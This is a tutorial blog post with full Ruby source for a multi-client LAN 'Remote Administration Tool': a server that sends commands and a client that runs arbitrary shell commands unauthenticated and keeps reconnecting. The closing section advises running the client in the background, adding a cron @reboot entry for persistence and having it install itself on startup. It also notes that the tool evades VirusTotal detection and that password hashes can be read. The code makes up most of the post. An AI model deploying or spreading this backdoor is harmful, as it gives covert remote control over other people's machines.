Hi everyone!
Building your own RAT is a fun way to practice programming and learn a few things about networking. This how-to covers building a Ruby LAN Remote Administration Tool for Linux.
This post is aimed at beginner/intermediate programmers who want to build their own custom RAT quickly. For this reason the RAT won’t have all the bells and whistles like AES encryption, auto-install, etc.
I encourage anyone who follows the how-to to customize their RAT as much as possible - add your own methods, commands, names and whatever extra functionality you can think of.
Code available at: https://github.com/chr0x6d/ryat
Features
-
Persistent clients - error handling to keep clients up and running, clients will stay up if the server goes down.
-
Multi-client - server is designed for managing multiple clients.
-
TCP Socket Communication - to enable Internet communication port-forwarding is an option but that will not be covered here. LAN works without port-forwarding.
-
Easy addition of custom commands and methods
Requirements
- Basic Ruby and OOP knowledge
- Preferably use Ruby 3.0.0
gem install colorize
Setup
Straightforward structure, server.rb
is a standalone script.
client.rb
requires helpers.rb
, we will see how this works later.
├── client
│ ├── client.rb
│ └── helpers.rb
└── server.rb
The Server
The bulk of our code will be in server.rb
. When we’re finished writing it we will have a capable server with utilities for handling clients. Lets get started building.
#!/usr/bin/env ruby
require 'socket' # TCP networking
require 'colorize' # Provides nice terminal colors
Client Class
Our server.rb
script will contain 2 classes - Server and Client. Server is the primary object which will use Client objects to store each connected client.
We can now define the Client class. We’ll see how it works when we put it to use in the Server class.
class Client
attr_accessor :connection, :addr, :uid
def initialize(connection, addr, uid)
@connection = connection
@addr = addr
@uid = uid
end
# by defining to_s(to_string) we simplify printing Client info
# print Client.new => "ID: 1 IP: 192.168.1.2"
def to_s
"ID: #{@uid.to_s} IP: #{@addr.to_s}".green
end
end
Server Class
The Server class is large, containing our server initialization, client acceptance loop and many useful utility methods that will help us manage clients.
Server Class Initialize
Our Server class takes port
as an argument, starts the server and initializes various instance variables we will use to keep track of clients.
class Server
attr_accessor :client_count, :current_client
def initialize(port)
@client_count = 0
@current_client = nil
@clients = {}
@server = TCPServer.new(port)
@server.setsockopt(Socket::SOL_SOCKET, Socket::SO_REUSEADDR, true)
end
By default after TCPServer.new(port) a TIME_WAIT of 30-120s starts, preventing us from reusing that port. Setting SO_REUSEADDR to true is not necessary but allows us quick restarts by removing TIME_WAIT.
Server Class Run
Now we’ll define the core method of the Server class, run
, which will contain a never-ending loop to listen for client connections. In Ruby loop do...end
is equivalent to while true do..end
.
Inside the loop we’ll have a begin...rescue Exception...end
, this is an error handling block that will be a common practice throughout the RAT. Without error handling a single invalid client connection could crash our server. Instead of letting our server terminate, we rescue
the Exception, print it and move on.
def run
loop do
begin
connection = @server.accept
client_id = @client_count + 1
client = Client.new(
connection,
connection.peeraddr[3],
client_id
)
puts "\nNew connection => #{client}".green
# Add our new client to @clients hash
@clients[client_id] = client
@client_count += 1
rescue Exception => e
puts e.backtrace.red
end
end
end
When a client connects, @server.accept
returns a socket built-in object TCPSocket
to connection
. We now have access to clients connection information with the array connection.peeraddr
=> [domain, port, name, IP], we only require the IP address so we use connection.peeraddr[3].
Our Client class takes 3 parameters => (TCPSocket, IP, UID)
After passing connection
and connection.peeraddr[3]
we then pass the UID.
@client_count
increases or decreases by 1 as Clients are added/removed. We use this to assign a unique identifier(UID) to each Client object.
@clients
is a hash(often called a dictionary in other languages). The keys are UID’s and the values Client objects. We will use the @clients
hash often to access all or individual Clients.
Server Class Utilities
The following methods add general functionality to our server. We need to be able to select a specific client, remove clients, check if clients are active etc.
We could have 5 clients connected for example, and we want to send a command to client ID 3 only. For this purpose we need to be able to select_client(id)
and unselect
by changing @current_client
.
In select_client
we see a common Ruby logic style called guard clauses, instead of wrapping code in an if do...end
block we use an if modifier and raise/return.
def select_client(id)
begin
@current_client = @clients[id]
# Ruby-Style guard clause
raise NoMethodError if @current_client.nil?
puts "Client #{id} selected".green
rescue NoMethodError => e
puts "Invalid id: #{id}\nEnter 'clients' to see available clients".red
end
end
def unselect
@current_client = nil
end
We can now define a couple simple helper methods for iterating through clients. get_clients
returns an array of Client objects from the @clients
hash.
list_clients
prints each clients ID/IP, the Client to_s
method is automatically used, as Ruby’s puts/print calls to_s
on every object passed to it.
def get_clients
cli = []
@clients.each_value { |c| cli << c }
cli
end
def list_clients
# Another guard clause
return 'No clients available'.red if @clients.empty?
get_clients.each { |client| puts client }
end
Sending and Receiving from TCP sockets is an error-ridden practice. It can take time for a port to close - up to 2 minutes as we’ve seen from TIME_WAIT, without any indicator that it is down.
Sending commands to a client that is down can result in a Broken Pipe
error, as the packets are never received. Attempting to receive from a client that is down could cause our program to hang - much like having a $stdin.gets
and never entering any user input.
Clients inevitably will go down for any number of reasons - system shutdown, network issues etc. When this happens we don’t want one client to crash the entire server because it refuses to read a command, so as before we use begin...Rescue Exception...end
blocks.
def send_client(msg, client)
begin
client.connection.write(msg)
rescue Exception => e
puts e.backtrace.red
end
end
def recv_client(client)
begin
len = client.connection.gets # How many bytes are sent from client to us
client.connection.read(len.to_i) # If there are bytes to read, return them as text
rescue Exception => e
puts e.backtrace.red
end
end
As well as accepting clients, we need to be able to remove them. For this we’ll define destroy_client(id)
. This allows the server admin to specify a client’s UID and it will be shutdown client-side and removed from the server.
When removing a client server-side, all we need is @clients.delete(id)
, removing that client from our @clients
hash. Our clients will be persistent though, they don’t care if the server is up/down, and will continue running.
To really stop a client, we send it a specific command, send_client('destroy', client)
in this case. When the client receives 'destroy'
it will stop, we’ll see this in action when we’re implementing the client.
def destroy_client(id)
begin
client = @clients[id]
raise NoMethodError if client.nil?
# If the client we're removing is currently selected, unselect it
# We must check @current_client exists before unselecting
if @current_client
unselect if @current_client.uid == id
end
send_client('destroy', client)
@clients.delete(id)
@client_count -= 1
puts "Client #{id} destroyed".yellow
rescue NoMethodError => e
puts "Invalid id: #{id}\nEnter 'clients' to see available clients".red
end
end
Imagine if we had 20 clients connected, and 10 of them were no longer responding to commands. We could go through and destroy_client(id)
each client, but thats tedious.
As we’ve seen, sockets can’t tell us if they’re alive or not, the only way to tell is to send bytes over the wire and check the response. Thats exactly what the heartbeat
method will do, named after so-called heartbeat pings.
In our client implementation, we will anticipate the 'heartbeat'
message and respond with 'alive'
. If a client is unable to respond correctly then we know it is down, and we call destroy_client(id)
on it.
def heartbeat
# Check if clients are still alive and responding, remove otherwise
get_clients.each do |temp_client|
send_client('heartbeat', temp_client)
beat = recv_client(temp_client)
destroy_client(temp_client.uid) if beat != 'alive'
end
puts "Heartbeat Finished - All non-responding clients removed.".green
end
Sometimes we’ll want to shut our server down, but keep the clients running, so that we can start the server later and the clients will be waiting to reconnect. This will be the quit
method.
Or we’ll want to shut it all down - send 'destroy'
to every client and then close the server. For this we’ll define hardexit
.
def quit
print "Exit server but keep clients active? [y/n]: "
inp = $stdin.gets.chomp.downcase
exit 0 if inp == 'yes' || inp == 'y'
end
def hardexit
print "Exit server and destroy all clients? [y/n]: "
inp = $stdin.gets.chomp.downcase
if inp == 'yes' || inp == 'y'
get_clients.each { |client| send_client('destroy', client) }
exit 0
end
end
end
Thats our Server class finished! If you’re feeling ambitious, add a few custom methods to Server that improves upon it. An example would be a broadcast(cmd)
that sends cmd
to every client in @clients
.
Using the Server
We will finish server.rb
with 3 final methods(not in Server class). help
for printing available commands, get_input
for getting input from the server admin and start
which will launch our server and wait for input.
In start
we will define arrays of client-specific and server commands. They will be passed to help
so that the admin can view them.
def help(server_cmds, client_cmds)
puts "Server Commands:".green
server_cmds.each { |gen| puts "- #{gen}" }
puts "\nClient Commands:".green
client_cmds.each { |cli| puts "- #{cli}" }
end
get_input
is very simple, by using a default parameter prompt
we’ll have a base prompt for our RAT. $stdin.gets.chomp
will wait for terminal text input and return it.
def get_input(prompt = 'ryat>')
print "#{prompt} "
$stdin.gets.chomp
end
Now for our final method in server.rb
, start
will launch a new Server, deal with admin input and print data from clients.
We assign a port from terminal arguments, ./server.rb 4000
if its passed, otherwise we give it a default value with port ||= 3200
. The server.run
method is placed in a Thread, so that it can run in parallel with start
.
We define our arrays of commands - client_cmds
will only work when @current_client
is set. server_cmds
will be available for use at all times.
def start
port = ARGV[0]
port ||= 3200
client = nil
data = nil
history = []
server = Server.new(port)
Thread.new { server.run }
puts "Sever started on port #{port}".green
client_cmds = %w[
exe ls pwd pid ifconfig system
]
server_cmds = %w[
help select unselect clients heartbeat history destroy hardexit exit
]
Now we’re ready to parse admin input. The remaining code in start
will be contained in a loop do...end
for interactivity.
First we use our get_input
method, and ensure we pass server.current_client.uid
to the prompt if a client is selected, otherwise the prompt will default to 'ryat> '
.
next
is the Ruby equivalent to continue
in other languages, the execution will jump back to the start of the loop do...end
if input.nil?
. We also store commands made in history
array similarly to cat ~/.bash_history
.
loop do
if server.current_client.nil?
input = get_input
else
input = get_input("ryat (Client #{server.current_client.uid})> ")
end
next if input.nil?
history.push(input)
cmd, action = input.split(' ')
if client_cmds.include?(input) && server.current_client.nil?
puts "Client specific command used".red
puts "Select a client first (#{server.client_count} available)".red
next
end
Now we must act upon the admin’s input. As we’re comparing against string literals, we’ll use a large case...end
, Ruby’s equivalent to switch
. Note that in a case...end
it is Ruby style not to indent the when
because a case...end
doesn’t create a new scope.
First we’ll add the server commands, most of which will call a method from our server
object.
case cmd
# Server Commands
when 'help'
help(server_cmds, client_cmds)
when 'select'
server.select_client(action.to_i)
when 'unselect'
server.unselect
when 'clients'
server.list_clients
when 'heartbeat'
server.heartbeat
when 'hardexit'
server.hardexit
when 'history'
history.each_with_index { |cmd, i| puts "#{i}: #{cmd}"}
when 'destroy'
server.destroy_client(action.to_i)
when 'exit'
server.quit
next # Only reached if the admin doesn't confirm exit
when 'hardexit'
server.hardexit
next
Continuing on in the same case...end
we add the client commands. Most commands such as ls
, pwd
and pid
are added to a single when
as we can send them directly as cmd
.
The exe
command is special though, as we want to send the entire input. This allows us to send long bash commands to the client like exe wget -r --tries=10 www.google.com
.
If we get data
back from a command, we’ll then print it with puts data unless data.nil?
. Then reset data
back to nil so it doesn’t interfere with the next command. Finally we call start()
, setting our server in motion.
# Client Commands
when 'exe'
next if action.nil?
server.send_client(input, server.current_client)
data = server.recv_client(server.current_client)
when 'ls', 'pwd', 'pid', 'ifconfig', 'system'
server.send_client(cmd, server.current_client)
data = server.recv_client(server.current_client)
else
puts "Unknown command: #{input}. Enter 'help' for available commands.".red
end
puts data unless data.nil?
data = nil
end
end
start()
We’ve finished server.rb
, try it out with ./server.rb 4000
and you should be greeted with a friendly Server has started on port 4000
and a prompt. If you get a Socket error, try running the server on a different port.
Maybe put your own spin on the server, complete with ASCII art and custom commands
The Client
If you’ve made it this far, great, the hard part is over. The client is far shorter than the server. The client has 2 jobs - execute commands and stay running no matter what.
helpers.rb
The client will be composed of 2 scripts, helpers.rb
and client.rb
. We’ll write helpers.rb
first, it will contain a short module that we will use in client.rb
.
require 'socket'
require 'etc'
module Helpers
def self.exe(cmd)
# `` executes bash command in Ruby
`#{cmd}`
end
def self.ls
`ls`
end
def self.pwd
Dir.pwd
end
def self.pid
Process.pid
end
def self.ifconfig
# With || 'ip a' will run if 'ifconfig' is not installed
`ifconfig || ip a`
end
def self.system
result = "OS: " + RUBY_PLATFORM + "\n"
result += "Architecture: " + `uname -m`
result += "Hostname: " + Socket.gethostname + "\n"
result += "User: " + Etc.getlogin
end
end
Here is where Ruby really shines as a scripting language - we don’t mess around with system()
or popen()
functions like in other languages. Anything we want executed as a bash command is placed in-between `` backticks.
In this version the self.pwd
method uses Dir.pwd
, a Ruby built-in for finding the present working directory. See if you can use a `` bash command to recreate it.
require 'etc'
gives us access to the Ruby built-in module for accessing information generally stored in the /etc directory. In this version we grab the current logged in user with Etc.getlogin
. Other information like Etc.passwd
to get the hashed password is available too. The Etc Documentation could be useful to you.
client.rb
We need the client to have solid error handling to avoid crashes, and to be ready to receive and execute commands.
We use require_relative "helpers.rb"
to bring the Helpers
module into client.rb
. We’re also bringing in socket
and etc
as they were in helpers.rb
, similarly to how C++ header files work.
#!/usr/bin/env ruby
require_relative "helpers.rb"
We will have 2 methods in client.rb
, handle_client
and main
. Once a client has been created and passed to handle_client
we enter a loop do...end
that listens for server commands with data = client.recv(1024)
.
1024 is the max number of bytes the client can read from the server in a single message, if you expect your server could be sending larger messages set a larger number.
Once we’ve received the servers command, we use a case...end
to call the correct Helpers
method, execute it and hold the output in result
.
If you recall from the Server client_recv
checked the length of the message being sent and then read in that length in bytes. This works because we send client.puts(result.length)
directly before we write the actual message with client.write(result)
in handle_client
.
def handle_client(client)
loop do
result = ''
data = client.recv(1024)
next if data.nil?
cmd, action = data.split ' '
case cmd
when 'heartbeat'
result = 'alive'
when 'exe'
result = Helpers.exe(data.gsub('exe ', ''))
when 'ls'
result = Helpers.ls
when 'pwd'
result = Helpers.pwd
when 'pid'
result = Helpers.pid
when 'ifconfig'
result = Helpers.ifconfig
when 'system'
result = Helpers.system
when 'destroy'
return 42
end
result = result.to_s
client.puts(result.length)
client.write(result)
end
end
We don’t have any error handling in handle_client
because we intend for errors to come back out to main
and get caught there.
When main
is first called, we enter the first loop do...end
. Here client = nil
will reset the old client if it existed from previous iterations. We then attempt to create a new TCPSocket
object called client
.
At this point if the Server is down an EAFNOSUPPORT
error will occur as the socket port is not available for the client. Without the begin...rescue Exception...end
blocks our client would crash. Instead we print the error, then sleep(timeout)
pausing the programs execution for timeout in seconds.
Once the program’s execution begins again, it will move through the entire loop do...end
and reach TCPSocket.new
again. This will continue indefinitely until the Server is up and there is no Exception to rescue
.
def main(host, port, timeout)
# Main loop to repeatedly attempt server connection
loop do
client = nil
begin
client = TCPSocket.new(host, port)
rescue Exception => e
puts e.message
puts e.backtrace
sleep(timeout)
end
exit_code = 0
begin
exit_code = handle_client(client)
rescue Interrupt
exit 0
rescue Exception => e
puts e.message
puts e.backtrace
end
exit 0 if exit_code == 42
end
end
I choose to use 42 as a signal to fully exit 0
the client. Any number/string could be used for the exit_code
.
You might be wondering why we don’t exit 0
directly from handle_client
when we receive the 'destroy'
message. This is due to the error handling of rescue Exception
catching all exceptions and even exit
is considered an exception.
We finish our RAT by setting optional command-line arguments for client.rb
and calling main
.
host = ARGV[0]
port = ARGV[1]
# If host/port is not passed in ARGV, default to localhost:3200
host ||= "localhost"
port ||= 3200
timeout = 2
main(host, port, timeout)
Conclusion
We can now launch clients with ./client.rb localhost 4000
. If a server was listening on locahost:4000 the text New Connection: ID: 1 IP: 127.0.0.1
should appear in your server terminal.
So lets say you’ve got a server running on port 4000, you get the LAN IP of the server machine using ifconfig
or ip addr
, and its 192.168.1.8
. Now if you have a spare laptop or virtual machine copy client.rb
and helpers.rb
to it. Run ./client.rb 192.168.1.8 4000
, if all went well, you’ll have a new connection
To run client.rb
in the background, you can use nohup ruby client.rb &
.
Setting client.rb
to run on startup is very possible, but will be different depending on the target distro. One approach for systems using cron is crontab -e
and adding @reboot /path/to/client.rb
. Maybe in your version client.rb
could automatically add itself to startup.
As expected from Ruby scripts without any malicious functionality like keylogging, client.rb
, helpers.rb
and server.rb
have 0 detections from virustotal.
Thank you for reading! Let me know of any improvements or suggestions.